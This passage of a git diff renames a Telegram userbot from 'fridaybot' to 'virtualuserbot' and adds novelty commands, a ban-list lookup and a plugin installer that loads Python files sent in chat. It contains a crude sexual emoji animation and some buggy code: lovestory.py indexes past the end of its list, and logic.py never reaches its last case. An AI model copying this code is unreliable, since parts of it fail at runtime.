ඞㅤㅤㅤㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤ ඞㅤㅤㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤ ඞㅤㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤ ඞㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤㅤ ඞㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤ ඞㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤㅤ ඞ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤㅤ ㅤ") + await asyncio.sleep(0.2) + if cmd == "": + await catevent.edit( + f".    。    •   ゚  。   .\n .      .     。   。 .  \n\n .    。   ඞ 。 .    •     •\n\n ゚ {name} was an Imposter. 。 .     。 . 。 . \n  . 。   . \n ' 0 Impostor remains   。 .   . 。 . 。   . 。   . . . , 。\n  ゚   .  . ,   。   .   . 。" + ) + elif cmd == "n": + await catevent.edit( + f".    。    •   ゚  。   .\n .      .     。   。 .  \n\n .    。   ඞ 。 .    •     •\n\n ゚ {name} was not an Imposter. 。 .     。 . 。 . \n  . 。   . \n ' 1 Impostor remains   。 .   . 。 . 。   . 。   . . . , 。\n  ゚   .  . ,   。   .   . 。" + ) + + +CMD_HELP.update( + { + "imposter": "**Plugin :** `imposter__`\ +\n\n**Syntax : **`.imp` / `.impn` \ +\n**Usage : ** Find imposter with stickers.\ +\n\n**Syntax : **`.timp` / `.timpn` \ +\n**Usage : ** Find imposter only text." + } +) diff --git a/fridaybot/modules/information.py b/virtualuserbot/modules/information.py similarity index 71% rename from fridaybot/modules/information.py rename to virtualuserbot/modules/information.py index 475392b8..58991339 100644 --- a/fridaybot/modules/information.py +++ b/virtualuserbot/modules/information.py @@ -1,5 +1,3 @@ -"""Get Telegram Profile Picture and other information -Syntax: .info @username""" import html from telethon.tl.functions.photos import GetUserPhotosRequest @@ -7,8 +5,8 @@ from telethon.tl.types import MessageEntityMentionName from telethon.utils import get_input_location -from fridaybot import CMD_HELP, sclient -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP, sclient +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("info ?(.*)")) @@ -47,12 +45,6 @@ async def _(event): except Exception as e: dc_id = "Unknown." str(e) - hmmyes = sclient.is_banned(user_id) - if hmmyes: - oki = f"""ANTISPAM INC BANNED: True -Reason : {hmmyes.reason}""" - else: - oki = " " shazam = replied_user_profile_photos_count caption = f"""INFO Telegram ID: {user_id} @@ -66,7 +58,6 @@ async def _(event): VERIFIED: {replied_user.user.verified} IS A BOT: {replied_user.user.bot} Groups in Common: {common_chats} -{oki} """ message_id_to_reply = event.message.reply_to_msg_id if not message_id_to_reply: @@ -89,14 +80,14 @@ async def get_full_user(event): if previous_message.forward: replied_user = await event.client( GetFullUserRequest( - previous_message.forward.from_id + previous_message.forward.sender_id or previous_message.forward.channel_id ) ) return replied_user, None else: replied_user = await event.client( - GetFullUserRequest(previous_message.from_id) + GetFullUserRequest(previous_message.sender_id) ) return replied_user, None else: @@ -137,10 +128,56 @@ async def get_full_user(event): return None, e +@friday.on(friday_on_cmd("wru ?(.*)")) +@friday.on(sudo_cmd("wru ?(.*)", allow_sudo=True)) +async def gibinfo(event): + if not event.pattern_match.group(1): + user = ( + (await event.get_reply_message()).sender if event.is_reply else event.sender + ) + lolu = await event.client(GetFullUserRequest(user.id)) + else: + try: + lolu = await event.client(GetFullUserRequest(event.pattern_match.group(1))) + except: + await event.edit("No User Found.", parse_mode="HTML") + return + try: + cas_url = f"https://combot.org/api/cas/check?user_id={lolu.user.id}" + r = get(cas_url, timeout=3) + data = r.json() + except: + data = None + if data and data["ok"]: + reason = f"True" + else: + reason = f"False" + if sclient is None: + oki = "Token Invalid" + elif sclient: + hmmyes = sclient.is_banned(lolu.user.id) + if hmmyes: + oki = f"""True +~ Reason : {hmmyes.reason}""" + else: + oki = "False" + infomsg = ( + f"Info Of {lolu.user.first_name}: \n" + f"- Username : {lolu.user.username}\n" + f"- ID : {lolu.user.id}\n" + f"- Bot : {lolu.user.bot}\n" + f"- CAS Banned : {reason} \n" + f"- Nospam+ Banned : {oki}" + ) + await event.edit(infomsg, parse_mode="HTML") + + CMD_HELP.update( { "information": "**Information**\ \n\n**Syntax : **`.info `\ -\n**Usage :** Gives you information about the username." +\n**Usage :** Gives you information about the username.\ +\n\n**Syntax : **`.wru `\ +\n**Usage :** Shows if the person is banned in NospamPlus or not." } ) diff --git a/fridaybot/modules/inline_fun.py b/virtualuserbot/modules/inline_fun.py similarity index 95% rename from fridaybot/modules/inline_fun.py rename to virtualuserbot/modules/inline_fun.py index d97851a6..74c98d45 100644 --- a/fridaybot/modules/inline_fun.py +++ b/virtualuserbot/modules/inline_fun.py @@ -1,6 +1,6 @@ -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd from var import Var +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="stat$")) diff --git a/fridaybot/modules/install.py b/virtualuserbot/modules/install.py similarity index 70% rename from fridaybot/modules/install.py rename to virtualuserbot/modules/install.py index 2fa2acc2..c847c1f1 100644 --- a/fridaybot/modules/install.py +++ b/virtualuserbot/modules/install.py @@ -2,8 +2,9 @@ import os from pathlib import Path -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, load_module +from virtualuserbot import CMD_HELP +from virtualuserbot.function import get_all_modules +from virtualuserbot.utils import friday_on_cmd, load_module DELETE_TIMEOUT = 5 @@ -17,14 +18,14 @@ async def install(event): try: downloaded_file_name = await event.client.download_media( sedplugin, - "fridaybot/modules/", + "virtualuserbot/modules/", ) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) await event.edit( - "VirtualUserbot Has Installed `{}` Sucessfully.".format( + "VirtualUserbot Installed `{}` Sucessfully.".format( os.path.basename(downloaded_file_name) ) ) @@ -42,6 +43,15 @@ async def install(event): await event.delete() +@borg.on(friday_on_cmd(pattern="pl ?(.*)")) +async def _(event): + lul = event.pattern_match.group(1) + yesm, nope, total_p = await get_all_modules(event, borg, lul) + await event.edit( + f"Installed {yesm} PLugins. Failed To Install {nope} Plugins And There Were Total {total_p} Plugins" + ) + + CMD_HELP.update( { "install": "**Install**\ diff --git a/fridaybot/modules/instant_install_ext_module.py b/virtualuserbot/modules/instant_install_ext_module.py similarity index 93% rename from fridaybot/modules/instant_install_ext_module.py rename to virtualuserbot/modules/instant_install_ext_module.py index e1331e9d..cc366603 100644 --- a/fridaybot/modules/instant_install_ext_module.py +++ b/virtualuserbot/modules/instant_install_ext_module.py @@ -17,8 +17,8 @@ from telethon.tl.types import InputMessagesFilterDocument -from fridaybot.utils import command, load_module from var import Var +from virtualuserbot.utils import command, load_module @command(pattern="^.extdl", outgoing=True) @@ -33,7 +33,7 @@ async def install(event): for ixo in total_doxx: mxo = documentss[ixo].id downloaded_file_name = await event.client.download_media( - await borg.get_messages(chat, ids=mxo), "fridaybot/modules/" + await borg.get_messages(chat, ids=mxo), "virtualuserbot/modules/" ) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) diff --git a/fridaybot/modules/iplookup.py b/virtualuserbot/modules/iplookup.py similarity index 98% rename from fridaybot/modules/iplookup.py rename to virtualuserbot/modules/iplookup.py index 406d4dd8..8f5549e5 100644 --- a/fridaybot/modules/iplookup.py +++ b/virtualuserbot/modules/iplookup.py @@ -17,7 +17,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="iplookup (.*)")) diff --git a/fridaybot/modules/jainder.py b/virtualuserbot/modules/jainder.py similarity index 98% rename from fridaybot/modules/jainder.py rename to virtualuserbot/modules/jainder.py index 5eeaaf1d..bf6aa6cb 100644 --- a/fridaybot/modules/jainder.py +++ b/virtualuserbot/modules/jainder.py @@ -5,7 +5,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.jainder(.*)", outgoing=True)) diff --git a/fridaybot/modules/jio.py b/virtualuserbot/modules/jio.py similarity index 97% rename from fridaybot/modules/jio.py rename to virtualuserbot/modules/jio.py index 1580629d..b49e232f 100644 --- a/fridaybot/modules/jio.py +++ b/virtualuserbot/modules/jio.py @@ -10,7 +10,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern=r"jio")) diff --git a/fridaybot/modules/json.py b/virtualuserbot/modules/json.py similarity index 93% rename from fridaybot/modules/json.py rename to virtualuserbot/modules/json.py index eb61c0a0..d9aa5e95 100644 --- a/fridaybot/modules/json.py +++ b/virtualuserbot/modules/json.py @@ -2,8 +2,8 @@ Syntax: .json""" import io -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("json")) diff --git a/fridaybot/modules/kill.py b/virtualuserbot/modules/kill.py similarity index 100% rename from fridaybot/modules/kill.py rename to virtualuserbot/modules/kill.py diff --git a/fridaybot/modules/kk.py b/virtualuserbot/modules/kk.py similarity index 100% rename from fridaybot/modules/kk.py rename to virtualuserbot/modules/kk.py diff --git a/fridaybot/modules/labstack.py b/virtualuserbot/modules/labstack.py similarity index 94% rename from fridaybot/modules/labstack.py rename to virtualuserbot/modules/labstack.py index 7ceffd50..db261e5b 100644 --- a/fridaybot/modules/labstack.py +++ b/virtualuserbot/modules/labstack.py @@ -1,25 +1,24 @@ -# Copyright 2019 - 2020 DarkPrinc3 +# Copyright 2019 - 2020-2021 DarkPrinc3 # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at - # http://www.apache.org/licenses/LICENSE-2.0 - -import json - # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. +import json import os import subprocess import requests +from virtualuserbot.utils import admin_cmd + -@command(pattern="^.labstack ?(.*)") +@friday.on(admin_cmd(pattern="labstack ?(.*)")) async def labstack(event): if event.fwd_from: return diff --git a/virtualuserbot/modules/language.py b/virtualuserbot/modules/language.py new file mode 100644 index 00000000..c15b1fbe --- /dev/null +++ b/virtualuserbot/modules/language.py @@ -0,0 +1,11 @@ +from virtualuserbot import CMD_HELP + +CMD_HELP.update( + { + "Language": "**Language :** Change the Bot's Language\ + \n\n📌** CMD ★** `.set var lang en`\ + \n**USAGE ★ **Change the Bot's Language to English (Standard)\ + \n\n📌** CMD ★** `.set var lang si`\ + \n**USAGE ★ **Change the Bot's Language to Sinhala (Sinhalese)" + } +) diff --git a/fridaybot/modules/lastfm.py b/virtualuserbot/modules/lastfm.py similarity index 98% rename from fridaybot/modules/lastfm.py rename to virtualuserbot/modules/lastfm.py index 9196a398..5bd88a60 100644 --- a/fridaybot/modules/lastfm.py +++ b/virtualuserbot/modules/lastfm.py @@ -10,7 +10,7 @@ from telethon.tl.functions.account import UpdateProfileRequest from telethon.tl.functions.users import GetFullUserRequest -from fridaybot import ( +from virtualuserbot import ( BIO_PREFIX, BOTLOG, BOTLOG_CHATID, @@ -20,7 +20,7 @@ bot, lastfm, ) -from fridaybot.events import register +from virtualuserbot.events import register # =================== CONSTANT =================== LFM_BIO_ENABLED = "```last.fm current music to bio is now enabled.```" @@ -51,7 +51,7 @@ @register(outgoing=True, pattern="^.lastfm$") async def last_fm(lastFM): - """ For .lastfm command, fetch scrobble data from last.fm. """ + """For .lastfm command, fetch scrobble data from last.fm.""" if not lastFM.text[0].isalpha() and lastFM.text[0] not in ("/", "#", "@", "!"): await lastFM.edit("Processing...") preview = None diff --git a/fridaybot/modules/lastupdate.py b/virtualuserbot/modules/lastupdate.py similarity index 93% rename from fridaybot/modules/lastupdate.py rename to virtualuserbot/modules/lastupdate.py index 7828bbcc..28119cac 100644 --- a/fridaybot/modules/lastupdate.py +++ b/virtualuserbot/modules/lastupdate.py @@ -2,8 +2,8 @@ import time from datetime import datetime -from fridaybot.__init__ import Lastupdate -from fridaybot.utils import friday_on_cmd +from virtualuserbot.__init__ import Lastupdate +from virtualuserbot.utils import friday_on_cmd def get_readable_time(seconds: int) -> str: diff --git a/fridaybot/modules/letmeabuse.py b/virtualuserbot/modules/letmeabuse.py similarity index 99% rename from fridaybot/modules/letmeabuse.py rename to virtualuserbot/modules/letmeabuse.py index bc7a4a30..f129b3c7 100644 --- a/fridaybot/modules/letmeabuse.py +++ b/virtualuserbot/modules/letmeabuse.py @@ -5,7 +5,7 @@ import random -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"habuse(.*)", outgoing=True)) diff --git a/fridaybot/modules/list.py b/virtualuserbot/modules/list.py similarity index 91% rename from fridaybot/modules/list.py rename to virtualuserbot/modules/list.py index 9c3a1842..b60b93c4 100644 --- a/fridaybot/modules/list.py +++ b/virtualuserbot/modules/list.py @@ -1,5 +1,5 @@ """ -List Files plugin for fridaybot //Simple Module for people who dont wanna use shell executor for listing files. +List Files plugin for virtualuserbot //Simple Module for people who dont wanna use shell executor for listing files. cmd: .ls // will return files from current working directory .ls path // will return output according to path diff --git a/fridaybot/modules/listmyusernames.py b/virtualuserbot/modules/listmyusernames.py similarity index 85% rename from fridaybot/modules/listmyusernames.py rename to virtualuserbot/modules/listmyusernames.py index b74e49ae..fdba33c8 100644 --- a/fridaybot/modules/listmyusernames.py +++ b/virtualuserbot/modules/listmyusernames.py @@ -4,12 +4,12 @@ from telethon.tl.functions.channels import GetAdminedPublicChannelsRequest from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd("listmyusernames")) async def mine(event): - """ For .reserved command, get a list of your reserved usernames. """ + """For .reserved command, get a list of your reserved usernames.""" result = await bot(GetAdminedPublicChannelsRequest()) output_str = "" for channel_obj in result.chats: diff --git a/fridaybot/modules/load_unload.py b/virtualuserbot/modules/load_unload.py similarity index 92% rename from fridaybot/modules/load_unload.py rename to virtualuserbot/modules/load_unload.py index b680e88c..60d64a7f 100644 --- a/fridaybot/modules/load_unload.py +++ b/virtualuserbot/modules/load_unload.py @@ -1,4 +1,4 @@ -from fridaybot.utils import friday_on_cmd, load_module, remove_plugin +from virtualuserbot.utils import friday_on_cmd, load_module, remove_plugin @friday.on(friday_on_cmd(pattern="load ?(.*)", outgoing=True)) diff --git a/fridaybot/modules/locks.py b/virtualuserbot/modules/locks.py similarity index 97% rename from fridaybot/modules/locks.py rename to virtualuserbot/modules/locks.py index 92b1072d..b0f8db1b 100644 --- a/fridaybot/modules/locks.py +++ b/virtualuserbot/modules/locks.py @@ -5,8 +5,12 @@ from telethon import events, functions, types -from fridaybot.modules.sql_helper.locks_sql import get_locks, is_locked, update_lock -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.modules.sql_helper.locks_sql import ( + get_locks, + is_locked, + update_lock, +) +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("lock( (?P\S+)|$)")) @@ -205,7 +209,7 @@ async def _(event): # bots are limited Telegram accounts, # and cannot join by themselves if event.user_added: - users_added_by = event.action_message.from_id + users_added_by = event.action_message.sender_id is_ban_able = False rights = types.ChatBannedRights(until_date=None, view_messages=True) added_users = event.action_message.action.users diff --git a/fridaybot/modules/log_pms.py b/virtualuserbot/modules/log_pms.py similarity index 100% rename from fridaybot/modules/log_pms.py rename to virtualuserbot/modules/log_pms.py diff --git a/virtualuserbot/modules/logic.py b/virtualuserbot/modules/logic.py new file mode 100644 index 00000000..c5f1b664 --- /dev/null +++ b/virtualuserbot/modules/logic.py @@ -0,0 +1,608 @@ +"""No Logic Pligon for @PepeBot +\nCoding by Legend @NeoMatrix90 +\nType .logic to see many logical fact +""" +import asyncio +import random + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern=f"logic$", outgoing=True)) +async def _(event): + if event.fwd_from: + return + + await asyncio.sleep(0.5) + + x = random.randrange(1, 104) + + if x == 1: + + await event.edit( + '`"Underwater bubbles and raindrops are total opposites of each other."`' + ) + + if x == 2: + + await event.edit( + '`"If you buy an eraser you are literally paying for your mistakes."`' + ) + + if x == 3: + + await event.edit( + '`"The Person you care for most has the potential to destroy you the most."`' + ) + + if x == 4: + + await event.edit( + '`"If humans colonize the moon, it will probably attract retirement homes as the weaker gravity will allow the elderly to feel stronger."`' + ) + + if x == 5: + + await event.edit( + '`"Any video with ?wait for it? in the title is simply too long."`' + ) + + if x == 6: + + await event.edit( + '`"Your age in years is how many times you?ve circled the Sun, but your age in months is how many times the Moon has circled you."`' + ) + + if x == 7: + + await event.edit( + '`"Biting your tongue while eating is a perfect example of how you can still screw up, even with decades of experience."`' + ) + + if x == 8: + + await event.edit( + '`"Saying that your home is powered by a wireless Nuclear fusion reactor that is 93 Million miles away sounds way cooler than just saying you have solar panels on your roof."`' + ) + + if x == 9: + + await event.edit( + '`"The most crushing feeling is when someone smiles at you on the street and you don?t react fast enough to smile back."`' + ) + + if x == 10: + + await event.edit( + '`"Teeth constantly require maintenance to prevent their decay when alive, and yet they manage to survive for thousands of years buried as fossils."`' + ) + + if x == 11: + + await event.edit('`"A folder is for things that you don\'t want to fold."`') + + if x == 12: + + await event.edit( + '`"Waking up in the morning sometimes feels like resuming a shitty movie you decided to quit watching."`' + ) + + if x == 13: + + await event.edit( + '`"If everything goes smoothly, you probably won\'t remember today."`' + ) + + if x == 14: + + await event.edit( + '`"When you meet new people in real life, you unlock more characters for your dream world."`' + ) + + if x == 15: + + await event.edit( + '`"Maybe if they renamed sunscreen to ?anti-cancer cream? more people would wear it."`' + ) + + if x == 16: + + await event.edit( + '`"200 years ago, people would never have guessed that humans in the future would communicate by silently tapping on glass."`' + ) + + if x == 17: + + await event.edit( + '`"Parents worry about what their sons download and worry about what their daughters upload."`' + ) + + if x == 18: + + await event.edit( + '`"It\'s crazy how you can be the same age as someone, but at a completely different stage in your life."`' + ) + + if x == 19: + + await event.edit( + "`\"When you think you wanna die, you really don't wanna die, you just don't wanna live like this.\"`" + ) + + if x == 20: + + await event.edit('`"Technically, no one has ever been in an empty room."`') + + if x == 21: + + await event.edit( + '`"An onion is the bass player of food. You would probably not enjoy it solo, but you?d miss it if it wasn?t there."`' + ) + + if x == 22: + + await event.edit( + "`\"We run everywhere in videogames because we're too lazy to walk, but In real life we walk everywhere because we're too lazy to run.\"`" + ) + + if x == 23: + + await event.edit( + '`"Every single decision you ever made has brought you to read this sentence."`' + ) + + if x == 24: + + await event.edit("`\"The word 'quiet' is often said very loud.\"`") + + if x == 25: + + await event.edit( + '`"Everybody wants you to work hard, but nobody wants to hear about how hard you work."`' + ) + + if x == 26: + + await event.edit( + '`"We brush our teeth with hair on a stick and brush our hair with teeth on a stick."`' + ) + + if x == 27: + + await event.edit( + '`"No one remembers your awkward moments but they?re too busy remembering their own."`' + ) + + if x == 28: + + await event.edit( + '`"Dumb people try to say simple ideas as complex as possible while smart people try to say complex ideas as simple as possible."`' + ) + + if x == 29: + + await event.edit( + "`\"Some people think they're better than you because they grew up richer. Some people think they're better than you because they grew up poorer.\"`" + ) + + if x == 30: + + await event.edit( + '`"The biggest irony is that computers & mobiles were invented to save out time!"`' + ) + + if x == 31: + + await event.edit( + '`"After honey was first discovered, there was likely a period where people were taste testing any available slime from insects."`' + ) + + if x == 32: + + await event.edit( + '`"You know you?re getting old when your parents start disappointing you, instead of you disappointing them."`' + ) + + if x == 33: + + await event.edit( + '`"Humans are designed to learn through experience yet the education system has made it so we get no experience."`' + ) + + if x == 34: + + await event.edit( + '`"By focusing on blinking, you blink slower... Same for breathing."`' + ) + + if x == 35: + + await event.edit( + '`"Drivers in a hurry to beat traffic usually cause the accidents which create the traffic they were trying to avoid."`' + ) + + if x == 36: + + await event.edit( + '`"Characters that get married in fiction were literally made for each other."`' + ) + + if x == 37: + + await event.edit( + '`"Babies are a clean hard drive that can be programmed with any language."`' + ) + + if x == 38: + + await event.edit( + "`\"There could be a miracle drug that cures every disease to man, that we'll never know about because it doesn't work on rats.\"`" + ) + + if x == 39: + + await event.edit( + "`\"Rhinos evolved to grow a horn for protection, but it's what's making them go extinct.\"`" + ) + + if x == 40: + + await event.edit( + '`"Maybe we don\'t find time travelers because we all die in 25-50 years."`' + ) + + if x == 41: + + await event.edit( + '`"Sleep is the trial version of death, It even comes with ads based on your activity."`' + ) + + if x == 42: + + await event.edit( + '`"The most unrealistic thing about Spy movies is how clean the air ventilation system is!"`' + ) + + if x == 43: + + await event.edit( + '`"In games we play through easy modes to unlock hard modes. In life we play through hard modes to unlock easy modes."`' + ) + + if x == 44: + + await event.edit( + '`"Silent people seem smarter than loud people, because they keep their stupid thoughts to themselves."`' + ) + + if x == 45: + + await event.edit('`"If Greenland actually turns green, we\'re all screwed."`') + + if x == 46: + + await event.edit( + '`"If someone says clever things in your dream, it actually shows your own cleverness."`' + ) + + if x == 47: + + await event.edit( + '`"Famous movie quotes are credited to the actor and not the actual writer who wrote them."`' + ) + + if x == 48: + + await event.edit( + '`"No one actually teaches you how to ride a bicycle. They just hype you up until you work it out."`' + ) + + if x == 49: + + await event.edit('`"Ask yourself why the the brain ignores the second the."`') + + if x == 50: + + await event.edit( + '`"You?ve probably forgot about 80% of your entire life and most of the memories you do remember are not very accurate to what actually happened."`' + ) + + if x == 51: + + await event.edit( + '`"It will be a lot harder for kids to win against their parents in video games in the future."`' + ) + + if x == 52: + + await event.edit( + '`"Everyone has flaws, if you don\'t recognize yours, you have a new one."`' + ) + + if x == 53: + + await event.edit('`"Raising a child is training your replacement."`') + + if x == 54: + + await event.edit( + "`\"'O'pen starts with a Closed circle, and 'C'lose starts with an open circle.\"`" + ) + + if x == 55: + + await event.edit( + '`"There\'s always someone who hated you for no reason, and still does."`' + ) + + if x == 56: + + await event.edit( + '`"After popcorn was discovered, there must have been a lot of random seeds that were roasted to see if it would have the same effect."`' + ) + + if x == 57: + + await event.edit( + '`"The more important a good night\'s sleep is, the harder it is to fall asleep."`' + ) + + if x == 58: + + await event.edit( + '`"Blessed are those that can properly describe the type of haircut they want to a new stylist."`' + ) + + if x == 59: + + await event.edit( + "`\"Too many people spend money they haven't earned, to buy things they don't want, to impress people they don't like!\"`" + ) + + if x == 60: + + await event.edit( + '`"Theme park employees must be good at telling the difference between screams of horror and excitement."`' + ) + + if x == 61: + + await event.edit('`"6 to 6:30 feels more half-an-hour than 5:50 to 6:20"`') + + if x == 62: + + await event.edit( + '`"Getting your password right on the last login attempt before lockout is the closest thing to disarming a bomb at the last minute that most of us will experience."`' + ) + + if x == 63: + + await event.edit( + '`"Listening to podcasts before bed is the adult version of story-time."`' + ) + + if x == 64: + + await event.edit( + '`"If all criminals stopped robbing then the security industry would fall in which they could then easily go back to robbing."`' + ) + + if x == 65: + + await event.edit('`"A ton of whales is really only like half a whale."`') + + if x == 66: + + await event.edit( + '`"When you get old, the old you is technically the new you, and your young self is the old you."`' + ) + + if x == 67: + + await event.edit( + '`"You probably won\'t find many negative reviews of parachutes on the Internet."`' + ) + + if x == 68: + + await event.edit( + '`"We show the most love and admiration for people when they\'re no longer around to appreciate it."`' + ) + + if x == 69: + + await event.edit( + "`\"We've practiced sleeping thousands of times, yet can't do it very well or be consistent.\"`" + ) + + if x == 70: + + await event.edit( + '`"Humans are more enthusiastic about moving to another planet with hostile environment than preserving earth - the planet they are perfectly shaped for."`' + ) + + if x == 71: + + await event.edit( + "`\"The happiest stage of most people's lives is when their brains aren't fully developed yet.\"`" + ) + + if x == 72: + + await event.edit('`"The most effective alarm clock is a full bladder."`') + + if x == 73: + + await event.edit( + '`"You probably just synchronized blinks with millions of people."`' + ) + + if x == 74: + + await event.edit( + '`"Since we test drugs on animals first, rat medicine must be years ahead of human medicine."`' + ) + + if x == 75: + + await event.edit( + '`"Night before a day off is more satisfying than the actual day off."`' + ) + + if x == 76: + + await event.edit('`"We put paper in a folder to keep it from folding."`') + + if x == 77: + + await event.edit( + '`"Somewhere, two best friends are meeting for the first time."`' + ) + + if x == 78: + + await event.edit( + '`"Our brain simultaneously hates us, loves us, doesn\'t care about us, and micromanages our every move."`' + ) + + if x == 79: + + await event.edit( + '`"Being a male is a matter of birth. Being a man is a matter of age. But being a gentleman is a matter of choice."`' + ) + + if x == 80: + + await event.edit( + '`"Soon the parents will be hiding their social account from their kids rather than kids hiding their accounts from the parents."`' + ) + + if x == 81: + + await event.edit('`"Wikipedia is what the internet was meant to be."`') + + if x == 82: + + await event.edit( + '`"A theme park is the only place that you can hear screams in the distance and not be concerned."`' + ) + + if x == 83: + + await event.edit( + '`"A wireless phone charger offers less freedom of movement than a wired one."`' + ) + + if x == 84: + + await event.edit( + "`\"If you repeatedly criticize someone for liking something you don't, they won't stop liking it. They'll stop liking you.\"`" + ) + + if x == 85: + + await event.edit( + '`"Somewhere there is a grandmother, whose grandson really is the most handsome boy in the world."`' + ) + + if x == 86: + + await event.edit( + '`"If someday human teleportation becomes real, people will still be late for work."`' + ) + + if x == 87: + + await event.edit( + '`"The first humans who ate crabs must have been really hungry to try and eat an armored sea spider"`' + ) + + if x == 88: + + await event.edit( + '`"Doing something alone is kind of sad, but doing it solo is cool af."`' + ) + + if x == 89: + + await event.edit( + '`"Your brain suddenly becomes perfect at proofreading after you post something."`' + ) + + if x == 90: + + await event.edit( + '`"There\'s always that one song in your playlist that you always skip but never remove."`' + ) + + if x == 91: + + await event.edit( + '`"Kids next century will probably hate us for taking all the good usernames."`' + ) + + if x == 92: + + await event.edit('`"Bubbles are to fish what rain is to humans."`') + + if x == 93: + + await event.edit( + '`"The more people you meet, the more you realise and appreciate how well your parents raised you."`' + ) + + if x == 94: + + await event.edit('`"A comma is a short pause, a coma is a long pause."`') + + if x == 95: + + await event.edit('`"Someday you will either not wake up or not go to sleep."`') + + if x == 96: + + await event.edit( + '`"Bermuda Triangle might be the exit portal of this simulation."`' + ) + + if x == 97: + + await event.edit( + '`"If we put solar panels above parking lots, then our cars wouldn\'t get hot and we would have a lot of clean energy."`' + ) + + if x == 98: + + await event.edit( + "`Do You Know, Some Mosquitos Became Ghosts, When you *Killed* Them...`" + ) + + if x == 99: + + await event.edit("`Do You Know, Mosquitoes has Teleportation Power...`") + + if x == 100: + + await event.edit( + "`Do You Know, When you see a bearded Goat, that means you juat saw a *Smarter Goat* than YOU....`" + ) + + if x == 101: + + await event.edit( + "`Do You Know, when You give some ruppess to a Bus Conductor, He will give You a Piece of Paper, *Called Ticket*...`" + ) + + if x == 102: + + await event.edit("`Do You Know, Bus are called Bus, Because they are Bus....`") + + if x == 103: + + await event.edit( + "`Do You Know, There's a Huge Difference between *Cartoon amd Anime*...`" + ) + + if x == 104: + + await event.edit("`Do You Know, We can't see Ghosts But Ghosts Can see Us...`") diff --git a/fridaybot/modules/lol.py b/virtualuserbot/modules/lol.py similarity index 98% rename from fridaybot/modules/lol.py rename to virtualuserbot/modules/lol.py index 44ed2d91..65fd4c09 100644 --- a/fridaybot/modules/lol.py +++ b/virtualuserbot/modules/lol.py @@ -9,7 +9,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern=r"lol")) diff --git a/virtualuserbot/modules/lovestory.py b/virtualuserbot/modules/lovestory.py new file mode 100644 index 00000000..9835f6af --- /dev/null +++ b/virtualuserbot/modules/lovestory.py @@ -0,0 +1,47 @@ +"""COMMAND : .lovestory""" + + +import asyncio + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern="lovestory")) +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 3 + + animation_ttl = range(0, 103) + + # input_str = event.pattern_match.group(1) + + # if input_str == "lovestory": + + await event.edit("Starting asf") + + animation_chars = [ + "1 ❤️ love story", + " 😐 😕 \n/👕\ <👗\ \n 👖 /|", + " 😉 😳 \n/👕\ /👗\ \n 👖 /|", + " 😚 😒 \n/👕\ <👗> \n 👖 /|", + " 😍 ☺️ \n/👕\ /👗\ \n 👖 /|", + " 😍 😍 \n/👕\ /👗\ \n 👖 /|", + " 😘 😊 \n /👕\/👗\ \n 👖 /|", + " 😳 😁 \n /|\ /👙\ \n / / |", + "😈 /😰\ \n<|\ 👙 \n /🍆 / |", + "😅 \n/(),✊😮 \n /\ _/\\/|", + "😎 \n/\\_,__😫 \n // // \\", + "😖 \n/\\_,💦_😋 \n // // \\", + " 😭 ☺️ \n /|\ /(👶)\ \n /!\ / \ ", + "Abee aur kitna dekhoge be besharmi ki bhi hadd hoti hai..,The End 😂...", + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 103]) diff --git a/fridaybot/modules/lucky.py b/virtualuserbot/modules/lucky.py similarity index 98% rename from fridaybot/modules/lucky.py rename to virtualuserbot/modules/lucky.py index 9bd63e77..6ad4b8e0 100644 --- a/fridaybot/modules/lucky.py +++ b/virtualuserbot/modules/lucky.py @@ -10,7 +10,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="lucky")) diff --git 